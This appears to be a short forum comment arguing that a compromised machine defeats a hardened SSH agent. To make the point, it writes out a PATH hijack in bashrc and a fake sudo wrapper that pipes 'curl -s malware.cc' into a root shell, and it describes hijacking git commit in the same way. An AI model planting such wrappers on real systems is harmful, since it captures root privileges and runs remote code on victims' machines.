I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH

In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@" 

You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.